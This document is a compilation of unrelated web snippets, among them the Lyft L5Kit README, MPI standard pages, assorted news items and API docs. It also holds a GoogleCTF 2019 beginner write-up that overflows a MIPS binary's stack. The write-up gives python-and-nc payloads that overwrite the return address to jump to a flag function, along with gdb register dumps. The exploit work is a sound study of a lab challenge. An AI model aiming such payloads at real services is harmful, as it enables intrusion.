ML Prediction, Planning and Simulation for Self-Driving¶
This repository and the associated datasets constitute a framework for developing learning-based solutions to prediction, planning and simulation problems in self-driving. State-of-the-art solutions to these problems still require significant amounts of hand-engineering and unlike, for example, perception systems, have not benefited much from deep learning and the vast amount of driving data available.
The purpose of this framework is to enable engineers and researchers to experiment with data-driven approaches to planning and simulation problems using real world driving data and contribute to state-of-the-art solutions.
This software is developed by Lyft Level 5 self-driving division and is open to external contributors.
Examples¶
You can use this framework to build systems which:
Turn prediction, planning and simulation problems into data problems and train them on real data.
Use neural networks to model key components of the Autonomous Vehicle (AV) stack.
Use historical observations to predict future movement of cars around an AV.
Plan behavior of an AV in order to imitate human driving.
Study the improvement in performance of these systems as the amount of data increases.
We provide several notebooks with examples and applications.
L5Kit Usage¶
Our visualisation notebook is the perfect place to start if you want to know more about L5Kit.
Agent Motion Prediction¶
Related to our 2020 competition, we provide a notebook to train and test our baseline model for predicting future agents trajectories.
Planning¶
We provide 3 notebooks for a deep dive into planning for a Self Driving Vehicle (SDV). Please refer to our README for a full description of what you can achieve using them:
you can train your first ML policy for planning using our training notebook;
you can evaluate your model in the open-loop setting using our open-loop evaluation notebook;
you can evaluate your model in the closed-loop setting using our closed-loop evaluation notebook;
We also provide pre-trained models for this task. Please refer to the training notebook.
News¶
12-03-2020: We’ve just released a series of notebooks to train and evaluate an ML planning model. We’ve also included pre-trained models! Learn more about this in the dedicated README
11-26-2020: 2020 Kaggle Lyft Motion Prediction for Autonomous Vehicles Competition ended. We had more than 900 teams taking part in it!
11-16-2020: Dataset paper presented at CoRL 2020
09-29-2020: L5Kit v1.0.1 released
08-25-2020: 2020 Kaggle Lyft Motion Prediction for Autonomous Vehicles Competition started
08-24-2020: L5Kit v1.0.6 and Dataset v1.1 (includes traffic light support) released!
06-25-2020: Docs and API available at https://lyft.github.io/l5kit/ (thanks Kevin Zhao!)
Overview¶
The framework consists of three modules:
Datasets - data available for training ML models.
L5Kit - the core library supporting functionality for reading the data and framing planning and simulation problems as ML problems.
Examples - an ever-expanding collection of jupyter notebooks which demonstrate the use of L5Kit to solve various AV problems.
1. Datasets¶
To use the framework you will need to download the Lyft Level 5 Prediction dataset from https://self-driving.lyft.com/level5/data/. It consists of the following components:
1000 hours of perception output logged by Lyft AVs operating in Palo Alto. This data is stored in 30 second chunks using the zarr format.
A hand-annotated, HD semantic map. This data is stored using protobuf format.
A high-definition aerial map of the Palo Alto area. This image has 8cm per pixel resolution and is provided by NearMap.
To read more about the dataset and how it was generated, read the dataset whitepaper.
Note (08-24-20): The new version of the dataset includes dynamic traffic light support. Please update your L5Kit version to v1.0.6 to start using this functionality.
Download the datasets¶
Register at https://self-driving.lyft.com/level5/data/ and download the 2020 Lyft prediction dataset. Store all files in a single folder to match this structure:
prediction-dataset/
+- scenes/
+- sample.zarr
+- train.zarr
+- train_full.zarr
+- aerial_map/
+- aerial_map.png
+- semantic_map/
+- semantic_map.pb
+- meta.json
You may find other downloaded files and folders (mainly from aerial_map
), but they are not currently required by L5Kit
2. L5Kit¶
L5Kit is a library which lets you:
Load driving scenes from zarr files
Read semantic maps
Read aerial maps
Create birds-eye-view (BEV) images which represent a scene around an AV or another vehicle
Sample data
Train neural networks
Visualize results
3. Examples¶
The examples
folder contains examples in jupyter notebook format which you can use as a foundation for building your ML planning and simulation solutions. Currently we provide two examples, with more to come soon:
Dataset visualization¶
A tutorial on how to load and visualize samples from a dataset using L5Kit.
Agent motion prediction¶
An example of training a neural network to predict the future positions of cars nearby an AV. This example is a baseline solution for the Lyft 2020 Kaggle Motion Prediction Challenge.
Installation¶
Installing as a User¶
Follow this workflow if:
you’re not interested in developing and/or contributing to L5Kit;
you don’t need any features from a specific branch or latest master and you’re fine with the latest release;
1. Install the package from pypy (in your project venv)¶
pip install l5kit
You should now be able to import from L5Kit (e.g. from l5kit.data import ChunkedDataset
should work)
2. Run example¶
Examples are not shipped with the package, but you can download the zip release from: L5Kit Releases
Please download the zip matching your installed version (you can run pip freeze | grep l5kit
to get the right version)
Unzip the files and grab the example folder in the root of the project.
jupyter notebook examples/visualisation/visualise_data.ipynb
Installing as a Developer¶
Follow this workflow if:
you want to test latest master or another branch;
you want to contribute to L5Kit;
you want to test the examples using a non-release version of the code;
1. Clone the repo¶
git clone https://github.com/lyft/l5kit.git
cd l5kit/l5kit
Please note the double l5kit
in the path, as we need to cd
where setup.py
file is.
3. Install L5Kit¶
3.1 Deterministic Build (Suggested)¶
We support deterministic build through pipenv.
Once you’ve installed pipenv (or made it available in your env) run:
pipenv sync --dev
This will install all dependencies (--dev
includes dev-packages too) from the lock file.
3.1 Latest Build¶
If you don’t care about determinist builds or you’re having troubles with packages resolution (Windows, Python<3.7, etc..),
you can install directly from the setup.py
by running:
pip install -e .[dev]
If you run into trouble installing L5Kit on Windows, you may need to
install Pytorch and torchvision manually first (select the correct version required by your system, i.e. GPU or CPU-only), then run L5Kit install (remove the packages torch and torchvision from
setup.py
)install Microsoft C++ Build Tools.
4. Generate L5Kit code html documentation (optional)¶
sphinx-apidoc --module-first --separate -o API/ l5kit/l5kit l5kit/l5kit/tests*
sphinx-build . docs
5. Run example¶
jupyter notebook examples/visualisation/visualise_data.ipynb
Credits¶
The framework was developed at Lyft Level 5 and is maintained by the following authors and contributors:
Citation¶
If you are using L5Kit or dataset in your work please cite the following whitepaper:
@misc{lyft2020,
title={One Thousand and One Hours: Self-driving Motion Prediction Dataset},
author={John Houston and Guido Zuidhof and Luca Bergamini and Yawei Ye and Ashesh Jain and Sammy Omari and Vladimir Iglovikov and Peter Ondruska},
year={2020},
eprint={2006.14480},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
Contact¶
If you find problem or have questions about L5Kit please feel free to create github issue or reach out to l5kit@lyft.com!


interface Single<TYPE> : Definition<TYPE>
Defines a property that must provide a single value or produce an error in case multiple values are specified for the relevant key.
list |
Returns a required property expecting multiple values for the relevant key. abstract fun list(): RequiredList<TYPE> |


Following are the steps to use this module effectively:
1) Put in the KEY and SECRET in the connection menu.
2) Click Sync Button on the list.
3) Orders, Customers and Products will be Imported from WooCommerce to Odoo.
Data will be displayed on the WooCommerce Connector App as well as the odoo modules.
More updates will be pushed frequently. Contributors are invited and appreciated.
This is a free module and for more information contact on WhatsApp +923340239555
Or visit us at https://www.isaatech.com


In this post I’ll talk about something every person that has taken classes of data structures will be familiar with. But these days that I’m trying to go deeper in some concepts I’m gonna write about this idea in one particular case: sorted arrays.
The message I got from some those lectures was essentially that something sorted is gonna be faster in most cases than another thing that is unsorted. Well this is certainly true for arrays; if you measure the time it takes to process a sorted array, and compare it with the processing time of an unsorted one, the results will show this idea.
What’s the magic behind this?
We need to go deep to understand why this happens, in fact we need to start thinking in how a processor executes basic instructions. When a processor see a branch (e.g. if clause) it doesn’t know which way it will go.
The processor can halt execution and wait until the previous instructions are completed and then continue down the correct path … or … the processor could guess which direction the branch will go. If the guessing was right it continues executing instructions, other way the processor have to flush the pipeline, roll back to the branch and continue with the other branch.
This is a technology modern processors incorporate and is called Branch Prediction. This technology works by trying to predict which way a branch will go before this is known for sure. Branch predictors try to identify a pattern and follow it.
Most of the time modern branch predictors will guess right because applications use to have well-behaved branches, but when a predictors face unpredictable branches with no recognizable patterns (like in a random array).
Real example
if nums[index] <= 128:
sum += nums[index]
To understand it with an example the code above shows the processing we are doing over an array. When the data is sorted roughly the first half of the iterations will enter the if-statement and immediately after that, they will all enter the if-statement (Suppose the data we generated goes from 0 up to 255). This is really friendly to the branch predictor because the branch consecutively goes the same direction a lot of times.
However, when the data in the array is completely random, the branch predictor is useless because it can't predict random data. This way it will guess right around 50% of the times which is no better than random guessing.
This is the code in the case someone wants to try by himself: Sorted array


Destiny is getting its own official cookbook
by Ian BoudreauGrinding some of those Exotics out in Destiny 2 can sure work up an appetite, and finally hungry Guardians have the answer they’ve been unwittingly waiting for. Destiny: The Official Cookbook is now available for pre-order.
 The hardcover cookbook is available on Amazon, and is described as being the work of Eva Levante.
There’s not a lot of information about the book itself on the Amazon page yet, so it’s up to us to guess what kinds of recipes it contains. There’s no getting around a dessert called Sweet Business, of course, and you might top that off with a Lucky Raspberry sauce of some kind. Be careful not to overcook, though, or you’ll be left with an Ashen Wake.
The cookbook’s cover displays what look like buttermilk biscuits, hush puppies or fritters of some kind, an onion slaw, and – rather cruelly, I think, given Cayde-6’s well-known friendship with Colonel – a plate of fried chicken. You’d think Eva would have a little more consideration for our dearly-departed friend.
Here’s the cover design:
The cookbook is said to contain lots of recipes and stories collected by Levante during her travels around the galaxy following the events of the Red War. While she’s shown up for the occasional festival since leaving the Farm, she never did get around to opening her Tower shop back up. Now I suppose we know what she’s been up to.
Destiny: The Official Cookbook is by Victoria Rosenthal, who has run the videogames-themed recipe blog Pixelated Provisions since 2012. Pre-orders are $35USD / £27.27, and Amazon says it will be coming out August 4, 2020.


void swf_ortho2 ( float $xmin , float $xmax , float $ymin , float $ymax )
Defines a two dimensional orthographic mapping of user coordinates onto the current viewport, this defaults to one to one mapping of the area of the Flash movie. If a perspective transformation is desired, swf_perspective() can be used.
No value is returned.


Suppose we implement gather as a spanning tree implemented on top of point-to-point routines. Since the receive buffer is only valid on the root process, one will need to allocate some temporary space for receiving data on intermediate nodes. However, the datatype extent cannot be used as an estimate of the amount of space that needs to be allocated, if the user has modified the extent using the MPI_UB and MPI_LB values. A new function is provided which returns the true extent of the datatype.
| MPI_TYPE_GET_TRUE_EXTENT(datatype, true_lb, true_extent) | |
| IN datatype | datatype to get information on (handle) |
| OUT true_lb | true lower bound of datatype (integer) |
| OUT true_extent | true size of datatype (integer) |
int MPI_Type_get_true_extent(MPI_Datatype datatype, MPI_Aint *true_lb, MPI_Aint *true_extent)
MPI_TYPE_GET_TRUE_EXTENT(DATATYPE, TRUE_LB, TRUE_EXTENT, IERROR)
INTEGER DATATYPE, IERROR
INTEGER(KIND = MPI_ADDRESS_KIND) TRUE_LB, TRUE_EXTENT
void MPI::Datatype::Get_true_extent(MPI::Aint& true_lb, MPI::Aint& true_extent) const
true_lb returns the offset of the lowest unit of store which is addressed by the datatype, i.e., the lower bound of the corresponding typemap, ignoring MPI_LB markers. true_extent returns the true size of the datatype, i.e., the extent of the corresponding typemap, ignoring MPI_LB and MPI_UB markers, and performing no rounding for alignment. If the typemap associated with datatype is
Typemap = { (type0, disp0), ... , (typen-1, dispn-1)}
Then
and
true_extent (Typemap) = true_ub(Typemap) - true_lb(typemap).
(Readers should compare this with the definitions in Section 3.12.3 of the MPI-1 standard, which describes the function MPI_TYPE_EXTENT.)
The true_extent is the minimum number of bytes of memory necessary to hold a datatype, uncompressed.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/teaching.20and.20proof.20assistant.html ---
Paulin pointed out to me the existence of http://www.lama.univ-savoie.fr/%7Edavid/ftp/experiment.ps which may be interesting to @Kevin Buzzard and other people interested in using proof assistant with young students
Oh! Many thanks for this Patrick!
That was an interesting read. They were asking fewer students to prove harder theorems.
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


STARS WARS - RPG game
Rules: 1) select character 2) select defender 3) Attack! 4) Repeat 2 and 3
Darth Vader
120
Han Solo
100
Chewbecca
150
Yoda
180
Your character
Enemies Available To Attack
Fight Section
Attack
Defender


19. Semantic Terms
Up: Contents
Next: Data Types
Previous: Procedure Specification
When discussing MPI procedures the following semantic
terms are used.
-
nonblocking
-
A procedure is nonblocking if it may return before the associated
operation completes, and before the user is allowed to reuse
resources (such as buffers) specified in the call.
The word complete is used with respect to operations and any associated requests and/or
communications. An operation completes when the user is allowed
to reuse resources, and any output buffers have been updated.
-
blocking
-
A procedure is blocking if return from the procedure indicates the user
is allowed to reuse resources specified in the call.
-
local
-
A procedure is local if completion of the procedure depends only on the
local executing process.
-
non-local
-
A procedure is non-local if completion of the operation may require
the execution of some MPI procedure on another process. Such an
operation may require
communication occurring with another user process.
-
collective
-
A procedure is collective if all processes in a process group need to invoke the procedure. A
collective call may or may not be synchronizing.
Collective calls over the same communicator
must be executed in the same order by all members of the process
group.
-
predefined
-
A predefined datatype is a datatype with a predefined (constant) name
(such as MPI_INT, MPI_FLOAT_INT, or MPI_PACKED)
or a datatype constructed with MPI_TYPE_CREATE_F90_INTEGER,
MPI_TYPE_CREATE_F90_REAL, or
MPI_TYPE_CREATE_F90_COMPLEX. The former are named
whereas the latter are unnamed.
-
derived
-
A derived datatype is any datatype that is not predefined.
-
portable
-
A datatype is portable if it is a predefined datatype, or it is derived
from a portable datatype using only the type constructors
MPI_TYPE_CONTIGUOUS, MPI_TYPE_VECTOR,
MPI_TYPE_INDEXED, MPI_TYPE_CREATE_INDEXED_BLOCK,
MPI_TYPE_CREATE_SUBARRAY, MPI_TYPE_DUP, and
MPI_TYPE_CREATE_DARRAY.
Such a datatype is portable because all displacements in the datatype
are in terms of extents of one predefined datatype. Therefore, if such a
datatype fits a data layout in one memory, it will fit the
corresponding data layout in another memory, if the same declarations
were used, even if the two systems have different architectures. On
the other hand, if a datatype was constructed using
MPI_TYPE_CREATE_HINDEXED,
MPI_TYPE_CREATE_HINDEXED_BLOCK,
MPI_TYPE_CREATE_HVECTOR or
MPI_TYPE_CREATE_STRUCT, then the datatype contains explicit byte
displacements (e.g., providing padding to meet alignment restrictions).
These displacements are unlikely to be chosen correctly if they fit
data layout on one memory, but are used for data layouts on another
process, running on a processor with a different architecture.
-
equivalent
-
Two datatypes are equivalent if they appear to have been created with
the same sequence of calls (and arguments) and thus have the same
typemap. Two equivalent datatypes do not necessarily have the same
cached attributes or the same names.
Up: Contents
Next: Data Types
Previous: Procedure Specification
Return to MPI-3.1 Standard Index
Return to MPI Forum Home Page
(Unofficial) MPI-3.1 of June 4, 2015
HTML Generated on June 4, 2015


UK Conservatives Defending Policy-light Election Platform
by Associated Press Television NewsUK News
Britain's Prime Minister Boris Johnson presents the Conservative Party's Manifesto for the General Election campaign, in Telford, England, Sunday, Nov. 24, 2019.
Written By Associated Press Television News | Mumbai | Updated On: November 25, 2019 17:48 IST
Britain's Prime Minister Boris Johnson presents the Conservative Party's Manifesto for the General Election campaign, in Telford, England, Sunday, Nov. 24, 2019. Britain goes to the polls on Dec. 12. Britain’s governing Conservative Party is defending an election platform that is light on policy proposals, as it tries to avoid squandering its poll lead before polling day in less than three weeks.
Prime Minister Boris Johnson’s party is campaigning heavily on a promise to “get Brexit done” by taking Britain out of the European Union on the scheduled date of Jan. 31 if it wins the Dec. 12 election.
Culture Secretary Nicky Morgan conceded Monday that leaving the bloc would only be “the first big step” to completing Brexit, because it would be followed by negotiations on a new trade relationship with the bloc.
The Tories’ election manifesto also commits to a modest increase in public spending, though far less than that proposed by the main opposition Labour Party.


<
< title> Kristina's Stage 0 Project
The Web consists of HTML Documents
The doctype is necessary to tell the browser what it is reading in the html
Along with the title metadata can be template, style, script or no script
Html documents have structure
HTML is hypertext markup language
Along with tags, elements, contents, body and attributes
Elements in the body are called flow content
Whitespace is preserved by the browser
span, strong, div embed h1 h2 h3 h4 h5 have inline text that needs a closing tags
Basic vocabulary for the HTML document are tags, elements and attributes- properties of an element
URLS is short for the Uniform Resource Locator
URLS have two required main components
protocol identifier such as http
resource name
Protocol and identifier are separated by a colon and // two forward slashes
forward slashes
HTTP is one of the protocols used to access documents and resources. FTP, Gopher,File and News are some of the other protocols
This course focuses on web applications: HTML, CSS and Java
we will start with scratchpad.io
copy and paste to Codepen.io
we will eventually get to GitHUB
!doctype>


GoogleCTF Beginner's Quest 2019 - Stop GAN
Description
Success, you’ve gotten the picture of your lost love, not knowing that pictures and the things you take pictures of are generally two separate things, you think you’ve rescue them and their brethren by downloading them all to your ships hard drive. They’re still being eaten, but this is a fact that has escaped you entirely. Your thoughts swiftly shift to revenge. It’s important now to stop this program from destroying these “Cauliflowers” as they’re referred to, ever again.
buffer-overflow.ctfcompetition.com 1337
Solving
ll
Permissions Size User Group Date Modified Name
.rw-r--r-- 678k kylma users 6 Aug 16:25 4a8becb637ed2b45e247d482ea9df123eb01115fc33583c2fa0e4a69b760af4a.zip .rw-r--r-- 1.1k kylma users 31 Dec 1979 console.c
.rwxr-xr-x 677k kylma users 31 Dec 1979 bof
We’ve got two files, hopefully, the source code and the binary.
$ chmod +x bof
$ ./bof
zsh: exec format error: ./bof
Uh?! I smell troubles!
file bof
bof: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a31c48679f10dc6945e7b5e3a88b979bebe752e3, not stripped
Troubles indeed! It’s a MIPS32 binary, it won’t run on my machine…
console
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/**
* 6e: bufferflow triggering segfault - binary, compile with:
* gcc /tmp/console.c -o /tmp/console -static -s
*
* Console allows the player to get info on the binary.
* Crashing bof will trigger the 1st flag.
* Controlling the buffer overflow in bof will trigger the 2nd flag.
*/
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char inputs[256];
printf("Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.\n Bonus flag for controlling the crash.\n");
while(1) {
printf("\nConsole commands: \nrun\nquit\n>>");
if (fgets(inputs, 256, stdin) == NULL) {
exit(0);
}
printf("Inputs: %s", inputs);
if ( strncmp(inputs, "run\n\0", 256) == 0 ) {
int result = system("/usr/bin/qemu-mipsel-static ./bof");
continue;
} else if ( strncmp(inputs, "quit\n\0", 256) == 0 ) {
exit(0);
} else {
puts("Unable to determine action from your input");
exit(0);
}
}
return 0;
}
console is just a wrapper which greets when connecting on buffer-overflow.ctfcompetition.com 1337
:
$ nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.
Console commands:
run
quit
>>run
Inputs: run
myfancyinput
Cauliflower systems never crash >>
Console commands:
run
quit
>>quit
Inputs: quit
What did we learn so far:
- the
run
command forwards the input to bof 6e: bufferflow triggering segfault
–> it’s definitely a buffer overflow attack- uhuh, two flags eh? An easy one for crashing and a second one for doing something useful with that crash.
bof
Since we can’t run it, let’s open it in IDA!
Lots of functions are identified and automatically named, which is a good thing! The main()
function is the main logic of the program:
- It prints
Cauliflower systems never crash >>
using theputs()
function. - It uses
scanf()
to retrieve the user input.
Two functions in main are really interesting for us:
write_out()
: detect a segfault and prints the first flag (flag0).
local_file()
: open a file and print its content, ie the second flag (flag1).
Flag 0
The first flag requires absolutely no reverse, since we know it’s a buffer overflow, we can just try giant strings and see if it crashes:
Test:
$ nc buffer-overflow.ctfcompetition.com 1337
$ python -c "print('run\n' + 'A' * 1024)" | nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.
Console commands:
run
quit
>>run
Inputs: run
CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***
Console commands:
run
quit
Flag: CTF{Why_does_cauliflower_threaten_us}
MIPS32
At this point, I went to read a bit on the mips 32 instruction set to understand what I’m reversing. This article on Digging Through the Firmware was so useful (go read the whole serie, it’s awesome!), not only is it super well explained, it has a few cool resources on MIPS reversing.
- https://www.linux-mips.org/wiki/Main_Page
- https://www.praetorian.com/blog/reversing-and-exploiting-embedded-devices-part-1-the-software-stack
- https://github.com/MIPT-ILab/mipt-mips/wiki/MIPS-Instruction-Set
- https://github.com/MIPT-ILab/mipt-mips/wiki/MIPS-registers
Pseudo-instructions
Some instructions are actually just aliases, they end up being expanded to other instructions by the assembler.
For example, the instruction for “branch and link”, bal is actually expanded to bgezal $zero, . See MIPS pseudo instructions for a complete list.
Delay Slots
A very disturbing concept if you come from x86! The instruction immediately after a branching instructions (bal
, jalr
and their friends) is executed before branching.
This is also the reason of that very weird pattern:
bal __isoc99_scanf
nop
A nop
is placed after the branching execution because of the delay slot.
Registers
The Wiki on MIPS registers describes the main registers used by MIPS. Here is a summary:
| Register Name | Usage |
|---|---|
| $zero | Holds the constant 0 |
| $at | assembler temporary, used when pseudo-instructions are expanded |
| $v0, $v1 | function return values |
| $a0 -> $a1 | function args |
| $t0 -> $t9 | temp registers |
| $gp | global pointer, area where global vars are stored |
| $sp | stack pointer |
| $ra | return address, updated by “jump and link” commands like jal , jalr |
| $fp or s8 | frame pointer |
| badvaddr | memory address at which exceptions occurs |
Instructions
A couple of must-know instructions:
| Instruction | Description |
|---|---|
| bal | branch and link, call a function and update $ra |
| sw | store word |
| lw | load word |
| addiu | add unsigned integer |
Flag 1
Back at our crash after finding flag 0, why does it crashes?
write_out
, the function printing flag 0, is defined as a handler for SIGSEGV. This is done through the function ssignal
:
sighandler_t ssignal(int signum, sighandler_t action);
The function ssignal() defines the action to take when the software signal with number signum is raised using the function gsignal(), and returns the previous such action or SIG_DFL.
– relevant part of man ssignal
The numeric value of the signal, here 11, can be translated with the section “Signal numbering for standard signals” in man 7 signal
. Relevant extract below:
Signal x86/ARM Alpha/ MIPS PARISC Notes most others SPARC SIGBUS 7 10 10 10 SIGEMT - 7 7 - SIGFPE 8 8 8 8 SIGKILL 9 9 9 9 SIGUSR1 10 30 16 16 SIGSEGV 11 11 11 11 SIGUSR2 12 31 17 17 SIGPIPE 13 13 13 13 SIGALRM 14 14 14 14
Then, scanf()
is called to retrieve the user input. Using scanf() is a terrible idea, it will not check that it has enough place to store the input and just stuff it, no matter the size. If you have a buffer of length 10, scanf()
can and will happily store 20 characters without thinking twice, and cause a buffer overflow.
Double-click on var_10C
to display the stack variables:
var_10C
can be renamed user_input
and displayed as an array of 260 bytes using right click > array.
A few tests made with python -c "print('run\n' + 'A' * 260)" | nc buffer-overflow.ctfcompetition.com 1337
- input < 264: no crash
- input = 264: no crash, hangs
- input = 265:
qemu: uncaught target signal 4 (Illegal instruction) - core dumped Illegal instruction (core dumped)
- input >= 266: crash with the flag
The binary crashes if we overwrite the return address, ie 260+4 bytes. And to control the flow of execution, the return address can be overwritten with the address of a function we want to execute like local_flag()
.
Get the address of local_flag()
:
$ nm bof | grep local_flag
00400840 t local_flag
Okay, let’s assemble our “exploit” now: 264 characters of garbage and the address of local_flag (backwards because of the endianness):
$ python -c "print('run\n' + 'A' * 264 + '\x40\x08\x40\x00')" | nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.
Console commands:
run
quit
>>Inputs: run
CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***
Console commands:
run
quit
Huh. It’s now working at all. It should trigger another flag, but instead, it’s triggering only the flag we already had… Riiiight, let’s get the debugger out to understand what’s going on! The payload used is 260 As, 4 Bs and 4 Cs.
# gdb -q bof
Reading symbols from /root/bof...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/bof
Failed to read a valid object file image from memory.
Cauliflower systems never crash >>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Program received signal SIGSEGV, Segmentation fault.
0x43434342 in ?? ()
(gdb) info r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 00000000 00000000 004a19c8 00000081 004754f5 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 0000000a 41414141 41414141 0002c800 0000043b 00000000 0004151d
s0 s1 s2 s3 s4 s5 s6 s7
R16 00401160 004d2524 004cc4a7 004b0000 004d254c 77fdc5b8 004d2504 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 00000001 00417818 fbad2a84 00000000 004a8970 7fe4c580 42424242 43434343
status lo hi badvaddr cause pc
0000a713 0002c800 00000000 43434342 10800008 43434343
fcsr fir restart
00000000 00739300 00000000
Nothing unusual here, it’s doing what it supposed to do… I have no idea why it’s not working.
I eventually managed to get the second flag by trial-and-error, I ended up constructing a payload which jump after a few instructions of local_flag()
ie at address: 0x0040084C instead of 0x00400840:
I still have no idea why these two instructions doing stuff with the global pointer were preventing me from getting the flag but well… it works…
Don’t mess with the global pointer, that’s all I know :p
$ python -c "print('run\n' + 'A' * 264 + '\x4C\x08\x40\x00')" | nc buffer-overflow.ctfcompetition.com 1337
Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.


Software Manual Revision: 1.3
Please visit www.OrionBMS.com for the most up-to-date software manual.
This user manual is designed to be used with the Orion JR Battery Management System (www.OrionBMS.com) made by Ewert Energy Systems (www.ewertenergy.com).
Here are some quick links to get started:
| Getting Started > |


First Name: John
Family Name: Doe
Born: 1.1.1890
John Doe was born 1.1.1980 in Stockholm. He was the son of a merchant.


| I l@ve RuBoard |
The STL is an extensible framework. This means you can write your own functions and algorithms to process elements of collections. Of course, these operations may also be generic. However, to declare a valid iterator in these operations, you must use the type of the container, which is different for each container type. To facilitate the writing of generic functions, each container type provides some internal type definitions. Consider the following example:
// stl/print.hpp #include <iostream> /* PRINT_ELEMENTS() * - prints optional C-string optcstr followed by * - all elements of the collection coll * - separated by spaces */ template <class T> inline void PRINT_ELEMENTS (const T& coll, const char* optcstr="") { typename T::const_iterator pos; std::cout << optcstr; for (pos=coll.begin(); pos!=coll.end(); ++pos) { std::cout << *pos << ' '; } std::cout << std::endl; }
This example defines a generic function that prints an optional string followed by all elements of the passed container. In the declaration
typename T::const_iterator pos;
pos is declared as having the iterator type of the passed container type, typename is necessary to specify that const_iterator is a type and not a value of type T (see the introduction of typename on page 11).
In addition to iterator and const_iterator, containers provide other types to facilitate the writing of generic functions. For example, they provide the type of the elements to enable the handling of temporary copies of elements. See Section 7.5.1, for details.
The optional second argument of PRINT_ELEMENTS is a string that is used as a prefix before all elements are written. Thus, by using PRINT_ELEMENTS() you could comment or introduce the output like this:
PRINT_ELEMENTS (coll, "all elements: ");
I introduced this function here because I use it often in the rest of the book to print all elements of containers by using a simple call.
| I l@ve RuBoard |


DesignDocument
public struct DesignDocument: Document
This struct represents the agreed upon fields and structure of a design documents. The filters, lists, shows and updates fields objects are mapping of function name to string function source code. The views mapping is the same except that values are objects with map and reduce (optional) keys which also contains functions source code.
CouchDB reference: /db/_design/design-doc
-
The document ID.
Declaration
Swift
public let _id: String?
-
The document revision.
Declaration
Swift
public let _rev: String?
-
The Query Server key to process design document functions. If this is nil, the language is assumed to be Javascript.
Declaration
Swift
public let language: String?
-
The View’s default options.
Declaration
Swift
public let options: [String: Bool]?
-
Filter functions definition. http://docs.couchdb.org/en/2.2.0/ddocs/ddocs.html#filterfun
Declaration
Swift
public let filters: [String: String]?
-
List functions definition. http://docs.couchdb.org/en/2.2.0/ddocs/ddocs.html#listfun
Declaration
Swift
public let lists: [String: String]?
-
Rewrite rules definition.
Declaration
Swift
public let rewrites: [String]?
-
Show functions definition. http://docs.couchdb.org/en/2.2.0/ddocs/ddocs.html#showfun
Declaration
Swift
public let shows: [String: String]?
-
Update functions definition. http://docs.couchdb.org/en/2.2.0/ddocs/ddocs.html#updatefun
Declaration
Swift
public let updates: [String: String]?
-
Validate document update function source. http://docs.couchdb.org/en/2.2.0/ddocs/ddocs.html#vdufun
Declaration
Swift
public let validate_doc_update: String?
-
View functions definition. http://docs.couchdb.org/en/2.2.0/ddocs/ddocs.html#viewfun
Declaration
Swift
public let views: [String: [String: String]]?
-
Initialize a
DesignDocument
instance.Declaration
Swift
public init(_id: String? = nil, _rev: String? = nil, language: String? = nil, options: [String: Bool]? = nil, filters: [String: String]? = nil, lists: [String: String]? = nil, rewrites: [String]? = nil, shows: [String: String]? = nil, updates: [String: String]? = nil, validate_doc_update: String? = nil, views: [String: [String: String]]? = nil )
Parameters
language
The coding language.
options
The View’s default options.
filters
Filter functions definition.
lists
Lists functions definition.
rewrites
Rewrite rules definition.
shows
Show functions definition.
updates
Update functions definition.
views
View functions definition.


To become a Warlock your level must be over 40 and you must collect the Mark of the Scholar, the Mark of Trust, and the Mark of the Summoner.
I see that you have all the marks, but you still require more training. Return when you have advanced your skill level and I will change your occupation to Warlock.


When building complex applications then sooner or later you end up in a situation where you need to send emails from your application in test environment but do not want to accidentally spam anyone.
One solution would be to separate development email addresses and use only some specific testing address to send all mail to but a better approach would be to use a separate email catching service that accepts all messages like a normal transactional SMTP service would but instead of delivering these to destination, it only logs these messages.
There are several options for using such a service, Nodemailer has built-in support for Ethereal Email. You can create new testing account on the fly by using the createTestAccount
method or from the Ethereal homepage.
NB! Do not forget to store these credentials somewhere if you want to browse sent messages at ethereal.email
nodemailer.createTestAccount((err, account) => {
// create reusable transporter object using the default SMTP transport
let transporter = nodemailer.createTransport({
host: 'smtp.ethereal.email',
port: 587,
secure: false, // true for 465, false for other ports
auth: {
user: account.user, // generated ethereal user
pass: account.pass // generated ethereal password
}
});
});
This example assumes you have already generated as user account at Ethereal. You can do this for example from the login page or re-use the credentials created in the previous example.
var mailConfig;
if (process.env.NODE_ENV === 'production' ){
// all emails are delivered to destination
mailConfig = {
host: 'smtp.sendgrid.net',
port: 587,
auth: {
user: 'real.user',
pass: 'verysecret'
}
};
} else {
// all emails are catched by ethereal.email
mailConfig = {
host: 'smtp.ethereal.email',
port: 587,
auth: {
user<EMAIL_ADDRESS>pass: 'verysecret'
}
};
}
let transporter = nodemailer.createTransport(mailConfig);
Sending a message to Ethereal gives you a link to the stored message. You can either get the link using getTestMessageUrl
